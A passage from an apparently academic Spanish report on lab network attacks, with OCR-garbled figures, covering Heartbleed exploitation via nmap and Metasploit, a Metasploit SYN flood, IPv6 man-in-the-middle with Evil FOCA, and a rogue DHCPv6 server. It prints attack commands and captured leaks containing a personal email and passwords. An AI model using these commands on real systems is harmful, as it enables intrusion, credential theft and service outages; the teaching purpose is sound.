El problema radica en que en su momento no se comprobaba si la longitud del mensaje
indicada era la misma que la longitud de los datos del mensaje que se debian devolver:

- N o ~, -
Source > m Source %lE Source 2™ Source %:
a a a a
n d d d
: a a a >
- e - by -
d d d d
Heartbea Request ™ m~ Heartbest Request n o |
o b Heartbeat Request b b
Payload-'ma’ = r_ Payload - 'ma’ r_ r_
Payload Length -2 f_ - Payload Length -8’ - -
o o o of ..
A s s .
- [ HE i
L L4 - -
- ol 3
Dastination —3) Destination m Destination % Destination %
- No memory leakage - ~
a | | <

Memory Area
Memary

Leakage

el I=laf=f=]=]3]

Memory Area

23 HeartBleed. En la imdgen izq. lo que deberia ocurrir. En la derecha se produce una fuga de datos
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Esta vulnerabilidad es especialmente critica ya que es posible extraer datos
directamente de la memoria del servicio vulnerable a base de mensajes de 64Kb, de
cualquier accién que se haya producido y aun esté en memoria. La extensién Heartbeat
se implementd en OpenSSL en diciembre de 2011 y se descubrid la vulnerabilidad en
abril de 2014, lo que significa que ha podido ser explotada durante un par de afios no
solo en servicios web, sino en sistemas operativos, dispositivos méviles, ciertos modelos
de routers, etc.

HeartBleed solo afecta desde la versién 1.0.1 hasta la 1.0.1f de OpenSSL. Para la prueba
vamos a usar una version de Ubuntu en concreto, la 12.04.4 Desktop (Precise Pangolin),
que trae una version vulnerable por defecto (1.0.1 14 Mar 2012) y nos ahorra trabajo
para montar el servidor. La eleccidn del tipo de servidor que se quiera usar es
irrelevante, pero en este caso se ha escogido montar un Wordpress con XAMPP.

El primer paso es crear nuestro certificado SSL. Para esto se genera un certificado
siguiendo las ordenes tipicas de OpenSSL. Lo que interesa es generar tanto la clave
privada (.key) como el certificado (.crt):

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout
/[ruta/del/certificado/webserver.key -out /ruta/del/certificado/webserver.crt

e Ajustamos los archivos de Apache para que se adecuen a nuestra maquina:
o Afadir en /etc/apache2/sites-available/default-ssl:
= ServerName <IP>:443
= SSLEngine on
= SSLCertificateFile  /ruta/del/certificado/webserver.crt
= SSLCertificateKeyFile/ruta/del/certificado/webserver.key
o En consola escribir a2ensite default-ssl para activar el sitio web.
o Reiniciar el servidor para guardar los cambios
e Descomprimir los archivos de Wordpress en /var/www, que es la carpeta publica
por defecto de Apache

Sitodo haido bien al entrar a la IP del servidor nos debe salir un mensaje advirtiéndonos
de un problema sobre una conexidn no confiable, algo normal ya que el certificado es
autofirmado. Afadimos la excepcion y nos deberia salir la pantalla de configuracion de

Wordpress.
HeartBleedTest

Just another WordPress site

Hello HeartBleed!

October 2, 2016 Welcome to WordPress. This isn’t your first time here, but

2 Comments maybe the first time you can see a HeartBleed vulnerable site.
Edit

RECENT POSTS

« Hello HeartBleed!
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Para comprobar que el servidor es vulnerable ejecutamos el siguiente comando en
Nmap:

nmap (-d para debug) --script=ssl-heartbleed --script-args=vulns.showall <IP>

Nmap scan report for 192.168.1.43

Host is up, received arp-response (0.00031s latency).

Scanned at 2016-10-02 18:17:31 CEST for 0Os

Not shown: 998 closed ports

Reason: 998 resets

PORT STATE SERVICE REASON

80/tcp open http syn-ack ttl 64

443/tcp open https syn-ack ttl 64

| ssl-heartbleed:

| VULNERABLE :

| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptog
raphic software library. It allows for stealing information intended to be prote
cted by SSL/TLS encryption.

| State: VULNERABLE

| Risk factor: High

| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0

Es importante afiadir el argumento vulns.showall para que nos muestre si es 0 no es
vulnerable el servidor. Una vez llegados a este punto podemos usar cualquier
herramienta de explotacion para comprobar la vulnerabilidad, como Metasploit.

Metasploit tiene un médulo disefiado para esta tarea, para utilizarlo abrimos la consola
de Metasploit y buscamos el mddulo auxiliary/scanner/ssl/openssl_heartbleed:

msf auxiliary( ) > show options
Module options (auxiliary/scanner/ssl/openssl_heartbleed) :

Name Current Setting Required Description

DUMPFILTER Pattern to filter leaked memory
before storing

MAX_KEYTRIES Max tries to dump key

RESPONSE_TIMEOUT 10 Number of seconds to wait for a
server response

RHOSTS 192.168.1.43 The target address range or CIDR
identifier

RPORT 443 The target port

STATUS_EVERY 5 How many retries until status

THREADS 1 The number of concurrent threads

TLS_CALLBACK None Protocol to use, "None" to use r

Podemos usar casi todas las opciones que trae por defecto para esta prueba, solo
debemos cambiar dos opciones importantes: set RHOSTS <IP> para sefialar la IP del
servidor y set VERBOSE true (importante) para ver las fugas de datos en consola.
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Hecho esto, lanzamos el médulo con run y observamos los resultados:

[*] 192.168.1.43:443 - Heartbeat response, 65535 bytes
[+] 192.168.1.43:443 - Heartbeat response with leak
[*] 192 108 1.43:443 - Printable info lnaked:

S .MR H#.>q@. H*Y$.$. ..

7672cc49a2dc=alvaro%/C1475599107%7CFpixbZqdyADFc
oszp]j tOPUpYPwo3mF7URoj oD16NUPN%7CeB8a586adf184a69ec941ce/cdf587797 f fOabec f3cel979
4eeb76e7f51a754ee. .Connection: keep-alive..If-Modified-Since: Thu, 04 Aug 2016 2
0:53:32 GMT..If-None-Match: "46a9e-28ae-5394524886b00" .p
os/pjtOPUpYPwo3mF7UROJoDl6NuPN%7C98a586adf184a69nc941ce7cdf587797ff9a6ecf3c¢lJ79
4eeb76e7f51a754ee. .Connection: keep-alive......... ) S i
7& wp_http_referer=%2Fhtml%2Fwp-admin%2Fuser-new. php&usor _login=prueba&email=alv
aroreyes2%40uma.es&first_name=alvaro&last_name=reyesturl=&pass1=R2Q%2918mI99F5G] f
h*v1%280fewj&passZ=R20%29i8m99FSGJfh*vl%ZSOfewj&role=administrator&createuser=Ad
d+New+User.......... r ANB e L DN 5599107%7CFpixbZ
qdyADFcos*p]tOPUpYPwo3mF7UROJoDlBNuPN%7C98a586adf184a6cac94lcc7cdf587797ffJa6acf
3cel9794eeb76e7f51a754ee. .Connection: keep-alive........:... %B

24 Se ha producido la fuga. 65535 bytes que cambian constantemente dan para mucho

Lo que se esta viendo en la imagen son, como se explicd en la teoria, datos que aun
permanecen en la memoria del servidor. Se puede ver mds o menos que se ha creado
un usuario nuevo con rol administrador, algo que no deberiamos ver desde nuestra
maquina Kali y que deja entrever cémo de peligroso seria un escaneo automatizado con
esta herramienta.
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2.6 - PoC: DoS/DDoS

Los ataques DoS (Denegation of Service/Denegacion de Servicio) son de las técnicas mas
famosas para atacar servicios. Tanto que no es extrafio que cada semana publiquen una
noticia del estilo “El servicio X ha sido paralizado por un DDoS”.

El objetivo de este ataque no es extraer informacién como en las anteriores pruebas que
se han realizado, sino impedir el uso de un servicio. Lo mas comun de interpretar es
denegar el acceso a un servidor web, pero cada vez va tomando mds relevancia los
ataques a dispositivos méviles, sobre todo con el auge de el Internet de las Cosas.

El ataque DoS se basa en la inundacidn de trafico en la red. Los ataques mas basicos se
basan en paquetes SYN y en ICMP. La técnica consiste en realizar muchas peticiones
hacia el mismo objetivo con el propdsito de que se mantenga ocupado y deje de
responder a las demas peticiones. Si un servidor acepta como maximo 10 peticiones y
se reciben 1000000 falsas, cuando se reciba una de un usuario auténtico el sistema
estard demasiado ocupado, el usuario no se verd respondido y abandonara el servicio,
lo que conlleva problemas de calidad de servicio. Desde un punto de vista mds técnico
puede provocar cuellos de botella, sobreprocesamiento y puede elevar la probabilidad
de vulnerar un servicio (usandolo por ejemplo como distraccion).

Altacker Visitor

- m .
\/

-

examplecom

o Rl

25 Ejemplo de ataque DDoS

El atague DDoS es simplemente una generalizacién del ataque DoS basico, realizado de
forma distribuida con mdas de una maquina apuntando hacia el mismo objetivo,
usualmente usando una botnet ya que es mas facil de convencer a una maquina que a
una persona. De esta manera cuanto mas grande sea el nUmero de maquinas ejecutando
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el ataqgue, mas probabilidades tendra de denegar el servicio. La peculiaridad de este tipo
de ataques es que son muy dificiles de prevenir, ya que como se ve en la figura, el
servicio no puede discriminar fielmente las peticiones “buenas” de las “malas”.

Hacer un ataque DoS con Kali Linux no es muy complicado, por lo que se reproducird un
ejemplo simple usando SYN Flood. Recordando la configuraciéon actual:

j=

7o
PC-PT

Virtualizacion

A].QZ.IES.IDLIZS

p—
5% _J # J
- -"-‘_‘I - — — B
g - — =,
Router-PT-Empty e 205074 \\_ PC-FT
i - WMware ™ 192.168.101.130
outer Maestro —

'
PC-PT
Metasploitable 192.168.101.129

Metasploitable corre un servidor web con una pagina de ejemplo, este serd nuestro
objetivo. Kali hara de atacante y Debian de cliente legitimo.

Se usara Metasploit para hacer el DoS puesto que no necesita mucho mas que lo que se
ve en la siguiente imagen:

msf > use auxiliary/dos/tcp/synflood

msf auxiliary( ) > set RHOST 192.168.101.129
RHOST => 192.168.101.129

) > exploit

msf auxiliary(

[*] SYN flooding 192.168.101.129:80...
26 SYN Flood con Metasploit

Analizando los comandos:

e “use auxiliary/dos/tcp/synflood” dice que vamos a utilizar un mddulo de
inundacion de paquetes SYN, los que comienzan una comunicacion.
e “set RHOST 192.168.101.129” indica la direccion IP victima.

o “exploit” comienza el ataque.
Si analizamos el tréfico de red con Wireshark podemos ver capturas interesantes:

e Trazas de peticiones SYN sin respuesta

5826 3.978257 54.98.74.198 192.168.181.129 TCP 54 31799 + 88 [SYN] Seq=8 Win=3188 Len=8
5827 3.979755 54.98.74.198 192.168.1081.129 TCP 54 42369 + 8@ [SYN] Seq=@ Win=1882 Len=@
5828 3.98@8254 54.98.74.198 192.168.181.129 TCP 54 38564 » 88 [SYN] Seq=8 Win=2638 Len=8
5829 3.981255 54.98.74.198 192.168.1081.129 TCP 54 15899 + 8@ [SYN] Seq=8 Win=427 Len=@

5838 3.981752 54.93.74.198 192.168.181.129 TCP 54 63167 + 806 [SYN] Seq=8 Win=3486 Len=0
5831 3.982378 54.98.74.198 192.168.1081.129 TCP 54 21922 + 8@ [SYN] Seq=@ Win=2272 Len=8@
5832 3.983263 54.93.74.198 192.168.181.129 TCP 54 352509 » 86 [SYN] Seq=8 Win=2945 Len=0
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e A partir de cierto momento las trazas se empiezan a reutilizar. Esto se debe a que
Kali empieza a utilizar los mismos puertos para realizar las conexiones con el
servidor web.

17265 13.955638 54.98.74.193 192.168.181.129 TCP 54 18391 - 88 [SYN] Seq=8 Win=238 Len=0
17266 13.956665 54.98.74.193 192.168.181.129 TCP 54 26843 - 8@ [SYN] Seq=8 Win=3689 Len=@
17267 13.957636 54.98.74.193 TCP 54 18866 + B@ [SYN] Seq=@ Win=142 Len=0
1 3 7958 9 T 3

17269 13.959638 .74.198

.968798

17273 13.962644 192.168.161.129 TCP 54 37856 + 8@ [SYN] Seq=8 Win=1551 Len=8

e Al minuto de haber empezado el ataque, el nimero de trazas con puertos
reutilizados es mayor. Las conexiones salen de todos los puertos posibles.

68149 59.992814 54.98.74.198 192.168.161.129 TCP 54 49985 - 830 [SYN] S
1.1

Win=1074 Len=0

> Port num

P P
P Port

e Un detalle curioso sobre esta herramienta es la suplantacion de IP del origen (IP
spoofing), ya que sabemos que la direccion IP de Kali es 192.168.101.128, pero
la que nos aparece es 54.98.74.198. Esta direccion cambia cada vez que
ejecutamos el programa.

En un solo minuto hemos generado aproximadamente 70000 peticiones SYN con
Metasploit. No hay que calcular mucho para darse cuenta de que contando con una
botnet medianamente grande (DDoS o DoS distribuido) se podria tumbar un servidor
gue no este preparado para una avalancha de conexiones simultaneas. Entre esas 70000
peticiones habrd unas pocas provenientes de la maquina Debian, por lo que si el sistema
ha entrado en modo preventivo es posible que ignore esa peticidn.

Aunque los DDoS no se puedan detener existen formas de mitigar sus efectos como
establecer unas buenas politicas de filtrado de red con firewalls, usar servicios
especializados para este tipo de ataques (Ej: CloudFlare) o bien invertir en medidas
preventivas.
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3 - Ataques en redes IPv6

Las especificaciones de IPv6 nacieron sobre mediados de los 90 ante el hecho previsible
pero aparentemente lejano del agotamiento de direcciones IPv4, pero no fue hasta afos
mas tarde cuando se empezaron a implementar de forma transparente al usuario. Esto
hace que un gran numero de técnicos sepan que existe, pero no lo que implica tener
IPv6 activo en una red. Este protocolo ofrece bastantes caracteristicas que mejoran a
IPv4, como el uso obligatorio de IPsec en lugar de ser opcional, la no fragmentacién de
paquetes o mejor calidad de servicio, sin contar las 2128 direcciones asignables, dando
lugar a la desaparicién del problema principal de IPv4.

Actualmente los sistemas operativos modernos deben ser capaces de interpretar el
trafico IPv6 por defecto, lo que se puede comprobar facilmente mirando si nuestro
equipo tiene o no asignadas ambas direcciones. Otro asunto distinto sera si tenemos
direcciones publicas IPv6 para utilizarla en nuestros servidores.

27 Ejemplo de direccién IPvé6 (enlace local)

La pregunta en este punto es si existe alguna diferencia entre los tipos de ataques que
se pueden realizar: la respuesta corta es no. Todos los ataques que se realizan en IPv4
se pueden realizar de la misma manera con IPv6, especialmente los ataques en
aplicaciones web ya que no dependen completamente de lo que ocurra en la capa 3.

IPv6 nos da en principio una ventaja contra los atacantes: para realizar las técnicas
basicas de recoleccion de informacion de la red fisica se vuelve mas complicado por el
elevado numero de nodos que existen en una subred bajo este protocolo: en una subred
cuyo CIDR es 64 (la mitad de los 128 bits que forman la direccién) el nimero de nodos
asignables seria 18.446.744.073.709.551.616, lo cual es inviable para un escaneo clasico
nodo a nodo, sin contar los puertos a analizar por cada uno de ellos.

En principio la idea es buena, pero segun Cisco en un documento publicado en 2011, se
desmitifican varias ideas como esa ya que existen maneras de escanear una red y
mencionan que el hecho de que se incluya IPsec solo implica que la comunicacién se
vuelve ligeramente mas segura, pero se pueden dar casos en los que sea
contraproducente.
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Los siguientes nueve ataques tienen diferencias notables cuando se mueven al entorno
de IPv6. En algunos casos los ataques son mas sencillos mientras que en otros son mas
complejos:

e Reconocimiento

e Acceso no autorizado

e Manipulacion y fragmentacién de cabeceras
e Spoofingencapa3y4

e Ataques con ARPy DHCP

e Ataques de redireccion de tréfico

e Ataques Smurf

e Virusy gusanos

e Transicién IPv4 a IPv6

Este capitulo es el mas corto ya que son casos mucho mas especificos que los
mencionados en el apartado anterior, estrictamente centrado en ataques a nivel de capa
de red por lo comentado anteriormente: los ataques en aplicaciones web son
igualmente replicables en ambos protocolos. En el primer apartado comentamos los
ataques Man in the Middle en IPv6 con dos de sus estrategias y en el segundo apartado
veremos un atague mas especial haciendo uso de los llamados dispositivos rogue.

3.1 -PoC: Man in the Middle

Aunque IPv6 sea por disefio mas eficiente que IPv4 no esta exento de problemas. De
hecho, puede ser un vector de ataque bastante vulnerable debido a la inexistencia de
configuraciones para este protocolo. Un ejemplo podria ser un sistema de deteccién de
intrusos que no detecte que se estd produciendo un ataque DoS a través de IPv6 porque
solo esta configurado para trafico IPv4.

La Unica complicacion existente (o ventaja seglin como se mire) para realizar los ataques
de Man in the Middle se debe a la transicidon que aun se lleva a cabo para pasar de IPv4
a IPv6. Esto se traduce como configuraciones de red creadas para encapsular paquetes
para que puedan ser compatibles con redes especiales como el caso de una red IPv4 que
se deba comunicar con una red IPv6.

Para esta prueba volvemos a realizar un ataque MitM igual que en la anterior usando
dos métodos: suplantacién de nodos vecinos y SLAAC.
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3.1.1 - Neighbor Spoofing

Para explicar este ataque hace falta explicar como se conectan los nodos por IPv6. Para
localizar los nodos activos de una red IPv6 no existe el protocolo ARP ya que todo se
basa en mensajes ICMPv6. El protocolo para el descubrimiento de nodos vecinos se
llama NDP (Neighbor Discovery Protocol). Se llaman vecinos porque como se dijo antes
una subred puede tener un nimero muy elevado de nodos donde solo hay unos pocos
activos.

Parte del protocolo NDP consta de dos mensajes que serian equivalentes a ARP: NS
(Neighbor Solicitation) y NA (Neighbor Advertisement). El primero pide la resolucion
MAC-IPv6 y el segundo la contesta. Al igual que con las tablas ARP las direcciones MAC
quedardn registradas en su consecuente tabla de vecinos.

El funcionamiento habitual es que un equipo envie un mensaje NS a una direccidn
Multicast y que el que tenga esa direccidn responda con un mensaje unicast NA con su
MAC. El problema es el mismo que con ARP: el atacante puede enviar un mensaje NA
sin haber recibido ningun NS previo y falsificar la tabla de vecinos del objetivo para
redirigir su trafico.

Equipo Atacante
IPv6: 1234::1111 IPv6: 1234::1 IPv6: 1234::999
MAC: 11:22:33:44:55:66 MAC: 00:00:00:00:00:01 MAC: 00:00:00:00:09:99

A NS: Neighbor Solicitation
A NA: Neighbor Advertisement

Para esta prueba nos vamos a valer de dos sistemas Windows, ya que la herramienta
gue vamos a usar para simular esto serd Evil FOCA, una herramienta que permite hacer
MitM tanto en IPv4 como en IPv6 solo para Windows.
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La configuraciéon de la red sera de la siguiente manera:

)

— oLl
__..----"""" PC-PT
l“-‘;,.’li.q-""' Victima feg0::6d0c:fd1d:9682:delc
L
I | *--._---—.-.
Router-FT-Empty —— e,

Router fe80::9a97 :d1ff:fe35:f807

PC-PT
Atacante fe80::948e:6271:6b3b: 9434

La configuracién de la herramienta no es distinta a la de otras como Ettercap: se
selecciona la puerta de enlace y la direccidn de la victima y automaticamente comienza
el proceso de suplantacién.

& Evil FOCA (DEFCON21 Edition) - 0.1.3.0 - O
"] Program _J’j Configuration &) About
[=-ig Network " MITM IPvE MITM IPv4 DoS IPvE DoS [Pvd DNS Hijacking
= Q MNeighbors - - Neighbor
=-4% 9897D135FEB7 Neighbor advertisement spoofing  SLAAC DHCPvE WPADVE advertisement spoofing
wa fe80:9a97.d 1 fe3578b7 Gat ) Target: 3
‘_ﬂ : " =y QO Tagess Qo - The attacker sends to their
-~ 192.168.11 e B
s 17221718228 wvictims fake ICMPvE Advertisement
- e packets in order to cause that any
b 122171668 traffic goes through your P
- 17221718227 address.
wa 1722171667

(2686000000
- Te80::226:86f f=00:0
-4 000C290099EE
- 192.168.1.52
a fed:6dlcid1d:9682:de1c
=B D40AAIINTIC
| - 152.168.1.200

(-5 COBDD1A3DAEC & st
- i fe80:c2bd:d1ff feaddabe
=58 Routers
=4 9897D135F867 AMtack type AMtack Active
-t fedl:3a97.d1ff fe357807 Target 1: f280::9297d 1 fe35f807 Route: None
i 152168.1.1 Neighborfidvertiseme... 1 o3 fo80: 6dlcfd1d.9682deTo
- 17221718228
- 1722171668
- iim 172 21718227 57
[Filter]
ol o
Time Module Message
1745 MeighborSpoofing Mew neighbor detected with 38570 135F8B7 as physical address
17:45 MeighborSpoofing Mew neighbor detected with 38370 135F8BT as physical address
17:45 NeighborSpocfing MNew neighbor detected with 002686000000 as physical address
1745 MeighborSpoofing Mew neighbor detected with 000C2500595EE as physical address
17:45 MeighborSpoofing Mew neighbor detected with D40AA333173C a= physical address
1746 NeighborSpocfing Perfarming a MITM (Meighber spoofing) attack between feBl::9a57.d 1fffe 35807 and feB0::6d0c fd 1d:3682:de1c
17.52 MeighborSpoofing Mew neighbor detected with COBDD1A43DAEC as physical address

28 MitM con Evil FOCA

Para confirmar que el trafico se estd interceptando correctamente hacemos un ping
desde la victima hasta el router, que podemos ver a través de Kali:

feg0::6dec:Td1ld:9682:delc Te80::9897:d1ff:fe35:F8b7 ICMPVE 94 Echo (ping) request id=@xeeel,
fe8@::9397:d1ff: fe35:T8b7 fe80::6dec:Tdld:9682:delc ICMPVE 94 Echoe (ping) reply id=exeeel, :
fedn::9a97:d1ff:fe35:T8b7 fe86::6dec:fdld:9682:delc ICMPvE 94 Echo (ping) reply id=6xeeel,
fe8@::6d6c:Td1ld:9682:delc Te80::9a97:d1ff:fe35:F8b7 ICMPVE 94 Eche (ping) request id=8xe@eal
fedn::9a97:d1ff:fe35:T8b7 fe86::6dec:fdld:9682:delc ICMPvE 94 Echo (ping) reply id=6xeeel,
Te80::9397:d1ff: fe35:T8b7 fe80::6d0c:Tdld:9682:delc ICMPVE 94 Echo (ping) reply id-8x@eel, :
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3.1.2 - SLAAC

Se conoce como SLAAC (Stateless Address Auto Configuration) a la capacidad que tienen
los nodos IPv6 de configurarse a si mismos automaticamente cuando son conectados a
una red IPv6 usando los mensajes de descubrimiento de routers de ICMPv6. La primera
vez que son conectados a una red el nodo envia una solicitud de router usando multicast
y si los routers estan configurados para esto responderan con un anuncio de router. El
funcionamiento es idéntico al mecanismo anterior del protocolo NDP, pero los routers
son elementos especiales dentro de la red.

SLAAC permite la habilidad de direccionar un nodo basado en el prefijo de red que se
anuncia a través del router mediante los anuncios de router mencionados que incluyen:

e Uno o mas prefijos IPv6

e Informacidén sobre el tiempo de vida del prefijo
e Informacién de flags

e Informacién del dispositivo

SLAAC toma el prefijo anunciado para formar una direccién Unica que pueda usarse en
la red. Tras esto se generara un identificador de nodo que se concatenara con el prefijo
para formar una direccion IPv6 correcta. En principio el identificador se formaba usando
las mismas reglas para crear los enlaces locales (EUI-64) pero algunos sistemas usan
otras definiciones especificadas en el RFC4941 para dar un extra de privacidad.

G

ocrsimm upwascu [l o v

29 Red IPv6
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El objetivo del ataque es hacer MitM cuando un usuario se conecta a un servidor que no
tiene soporte para IPv6 y debe hacerlo por IPv4. El objetivo del atacante sera configurar
el soporte IPv6 de la victima y buscar un entorno en el que IPv4 deje de funcionar.

Para conseguir el efecto que necesitamos es necesario conseguir que la victima
configure una direccidn de vinculo local en IPv4, algo que se puede conseguir con un
servidor DHCPv4 rogue o agotando el rango de direcciones del servidor DHCP. En este
caso optamos por la via rdpida usando el comando ipconfig /release en el equipo
victima, que libera la direccién IP que se este utilizando. Para la configuracién de IPv6
volvemos a usar la Evil FOCA utilizando el submend MITM IPv6 -> SLAAC.

MITM IPvE MITM [Pvd Do5 IPve
Meighbor advertisement spocfing  SLAAC  DHCPvE WP,

Targets Prefic (IPvE): |f.; 000

Tangets

fedl: 6dlcfd1d:9682.delc

Sefialamos la direccion IPv6 local de la victima e iniciamos el ataque. A partir de este
momento y si todo estd bien configurado la victima creera navegar con normalidad por
Internet sin saber que por debajo se esta realizando un proceso de conversidon de
direcciones que deja al descubierto su trafico.

Adaptador de Ethernet Conexidn de aArea local:

Sufijo DMS especifico para la conexidn. . © localdomainb
Direccidn IPub . . . - = fcBB::6dBc:fd1d:=9682:delc

Vinculo: direccién IPué local. . . : Fe8@::6dBc:fdld:9682:delcxll
Direccion IPv4 de configuracidn automatica: 169.254.222.28
Mazcara de subred . . . . e - = = = . = 255 _255.8.8

Puerta de enlace predeterm:-i.nada e e e e . feBB:-:-948e:6271:6h3b:-2484:x11

30 Asi debe quedar la configuracién de la victima

Para el ejemplo se ha intentado acceder al servidor de correos de Microsoft. Llama la
atencidn que a la victima no le aparece una direccidon HTTPS y esto es por el proceso que
hace Evil FOCA.

.é Iniciar sesion en tu cuenta Microsoft - Windows Int

S i |= http://lodin.live.com/ppsecure/posi
¢ Favoritos | 9 @ | Sitios sugeridos » E Galer
= Iniciar sesidn en tu cuenta Microsoft | httpesig
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Capturamos el trafico con Wireshark y nos fijamos en que las peticiones que realiza la
victima van sobre IPv6 y se dirigen hacia el atacante:

TCWW: 1bOWCITOLOIYbELIASLC bAIITTTTIBSTA: 3052 (W /4 5v451 + BY [ALK| Be8q=l ACK=1 Wln=b
fclee: :6dec:fdld:9682:delc 64::ffff:83fd:3d52 TCP 1225 [TCP segment of a reassembled PDU]
fcpo: :6dec: fdld:9682:delc 64::ffff:83fd:3d52 HTTP 597 POST /ppsecure/post.srf?wa=wsignin

64 ffff:83Fd:3ds52 fce@: :6dec: fdld:9682:delc TCP 451 [TCP segment of a reassembled PDﬂ]

64 :ffff:83fd:3d52 fcoe::6dbc:fdld:9682:delc TCP 1372 [TCP segment of a reassembled PDU]
fced::6dec:Tdld:9682:delc 64::ffff:83fd:3ds2 TCP 74 58451 = 88 [ACK] Seq=1675 Ack=16786
64 ffff:83Fd:3ds52 fce@: :6dac: fdld: 9682 :delc TCP 1371 [TCP segment of a reassembled PDU]

El orden de las peticiones deberia seguir el siguiente patrén:

La victima envia una peticidn para resolver el registro AAAA de Hotmail

El atacante hace una peticién DNS de tipo A a Hotmail a través de IPv4

El servidor responde con la direccién IPv4 de Hotmail

El atacante genera una direccidn IPv6 a partir de la direccion IPv4 que es la que

P wnNPRE

le entregara a la maquina de la victima

Asi, Evil FOCA se convierte en un enrutador de trafico IPv6 hacia una red IPv4. Por uGltimo,
si seguimos las trazas que genera la victima nos topamos con la siguiente informacion:

Content-Type: application/x-www-form-urlencoded
Host: login.live.com
Content-Length: 523
Expect: 188-continue

HTTP/1.1 18@ Continue

loginfmt=alvaroreyes_shadowfhotmail.com&login=alvaroreyes_shadow@hotmail. corr&passu.'d-t_g.'p
Udwxh3251kBnCdDdk*sfrlihlv7eEUmlaisy celbl @i TIWbdocarZNFMVHA

%2159b70LWGEodndwgB 2T uFuv? jVvrtsaljKoWgond *9F fMnVHUZz956KQ4m1 s PwrUJQrH20mGz pSXqKxNHOT cOWkSRZyyvaiMas5g
wHEWBZQUCrNE1TyxeCYWSNFHRAFOI65VASELcQtLglKX01*Xf528px2HrwwHHXEe™(
¥24%248PPSX=P&Newlser=1&Login0Options=3&FoundMSAs=&fspost=0812=18116=R117=08118= DefaultLoginStrings

El ataque ha resultado ser un éxito y la victima ha sido comprometida.

Hay que hacer notar que para este escenario se han dado muchas libertades para
realizar el ataque: la victima se debe conectar con un navegador que soporte IPv6 y debe
ignorar algunas de las “sefales sospechosas” que avisaban de cambios en la red, como
el icono de conectividad limitada en Windows.

Para ejecutar este ataque existen otro tipo de herramientas como Radvd y NATPD para
sistemas Linux o el script SuddenSix presentado en la Defcon21 de 2013.
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3.2 - PoC: Servidor Rogue DHCPv6

Con este ejercicio llegamos a la ultima prueba de concepto de ataques en redes. Hasta
ahora hemos visto técnicas de sniffing, Man in the Middle, varios ataques en la capa de
aplicacion y denegacién de servicio. Solo queda un tipo de ataque por ver: los
dispositivos rogue.

Los dispositivos rogue son dispositivos introducidos en una red de forma no autorizada.
Aunqgue se puede visualizar facilmente como un portatil enchufado a la red, es mas
interesante que se trate de un punto de acceso WiFi, un servidor DHCP o DNS, un router
o un switch. Este tipo de ataques son mas efectivos en redes IPv4 ya que la autenticacion
de dispositivos sigue siendo una opcion no obligatoria.

Los dispositivos rogue se pueden usar también como intermediarios entre un usuario e
Internet otorgando una aparente conexién segura, mientras que la realidad es que de
esta forma se esta realizando un MitM que incluso puede llegar a introducir software no
deseado como keyloggers u otros tipos de malware con la excusa de tener “acceso a
Internet gratis”. El uso de este tipo de ataques es especialmente daiino por dos motivos:

e El primero es la miniaturizacién del hardware, cada vez llegando mas lejos. El
mejor ejemplo de esto puede ser la Raspberry Pi Zero (2015), un ordenador en
miniatura, barato y muy configurable que perfectamente puede ser ocultado en
cualquier lugar.

e El segundo motivo es que una buena configuracion de un dispositivo rogue
puede hacer que se mimetice con los dispositivos verdaderos de la red, por lo
gue cualquier tipo de configuraciones de seguridad establecidas no servirian de

—
™

mucho.

SOUICHT s

L==""""  Attacker
(Rogue DHCPv6 Server)

Legitimate Switch

DHCPV6 Server

=
ADVERTISE

v
soucir  ,*

ADVERTISE

Victim

31 El funcionamiento de un rogue DHCP

El ejemplo clasico es conectarse a una red abierta en un aeropuerto: ante la inmensa
cantidad de personas, cada una de un lugar diferente y con las redes que ofrecen las
tiendas y restaurantes no es extrafio encontrar mas de una persona intentando
contactar con la familia o el trabajo. Esta situacidn es perfecta para instalar un punto de
acceso falso y empezar a recopilar informacion.
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En una red en la que existe un rogue DHCP, cuando la victima pida una direccién IP para
conectarse a la red, serdan ambos servidores DHCP los que respondan, y en el caso de
que el servidor malicioso consiga asignar su direccidn la victima pasard a pertenecer a
una red en la que seguramente sufrira ataques MitM. Para que esta tactica tenga mayor
tasa de acierto es probable que el servidor DHCP verdadero sea atacado para agotar sus
direcciones usando por ejemplo el médulo DHCP Exhaustion de Metasploit.

El montaje de un servidor DHCPv6 no difiere mucho del de un servidor DHCPv4. Para
esta prueba hemos usado Windows Server 2012 con los siguientes detalles en su
instalacion partiendo de una instalacién limpia:

e Configurar una direccién IP estatica

e |Instalar el rol de DHCP

e Configurar un ambito nuevo en IPv6 a través del menu de configuracién DHCP
o Asignar un prefijo de red (en este caso fc00:: )
o Asignar ajustes opcionales como direcciones excluidas y duracién del

ambito
e Dentro de las opciones del ambito podemos configurar diferentes servicios con
los que el atacante puede realizar MitM

Un ultimo detalle es asegurarnos de que el servidor provee a los clientes y que la
conexion se realiza correctamente. Para esto nos vamos a la consola y ejecutamos el
siguiente comando:

Netsh int IPv6 set int <Numero de interfaz de Ethernet> advertise=enabled
managed=enabled otherstateful=enabled. El nimero de interfaz se puede ver con
netsh int IPv6 show int.

Ahora nuestro servidor deberia estar sirviendo direcciones IPv6 sin problemas. A partir
de aqui es cuestién del atacante su préoximo paso: puede configurarse como nodo
intermedio entre el router y la victima, crear servicios de DNS falsos, etc.

Otra alternativa es volver a usar la herramienta Evil FOCA, que también incluye una
implementacién de servidor falso que puede servir para hacer pruebas de intrusién
sencillas.
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4 - Proteccion frente a ataques

Uno de los grandes problemas de la seguridad es que a medida que la tecnologia avanza
los criminales encuentran formas mds sofisticadas de atacar un sistema. En
consecuencia, se debe preparar al personal para hacer frente a esta avalancha de
cibercrimen. Segln un andlisis del banco americano Merrill Lynch se producen alrededor
de 80 a 90 millones de ataques por afio, pero el 70% de dichos ataques pasan
desapercibidos, por lo que es parte de nuestro trabajo ensefar unas minimas (y buenas)
practicas de seguridad a aquellos que, ya sea porque usen Mac, software libre, tengan
un pequeiio negocio online “invisible para los delincuentes”, empresas que no se
preocupen lo suficiente de mantener sus datos a salvo basandose en el interés o
cualquier otra excusa para no preocuparse, siguen pensando que no pueden ser victimas
potenciales.

. . Valid, trusted certificates
mas se piensa en la seguridad Neteraft SSL Survey

Afortunadamente cada vez _eTcRaFT
respecto a hace unos afos. 1,000

Para muestra la imagen de la
derecha representa el nimero
de certificados SSL validos de
los que la empresa Netcraft

lleva un seguimiento, y parece

100

Valid, trusted certificates
log scale, relative to Now 1995

que la tendencia no se ha
estancado. Dicha encuesta
solo cuenta los certificados

Mow-96
Mow-97
Mow-98
Mow-99
Mow-00
Mow-01
Mow-02
Mow-03
Mow-04
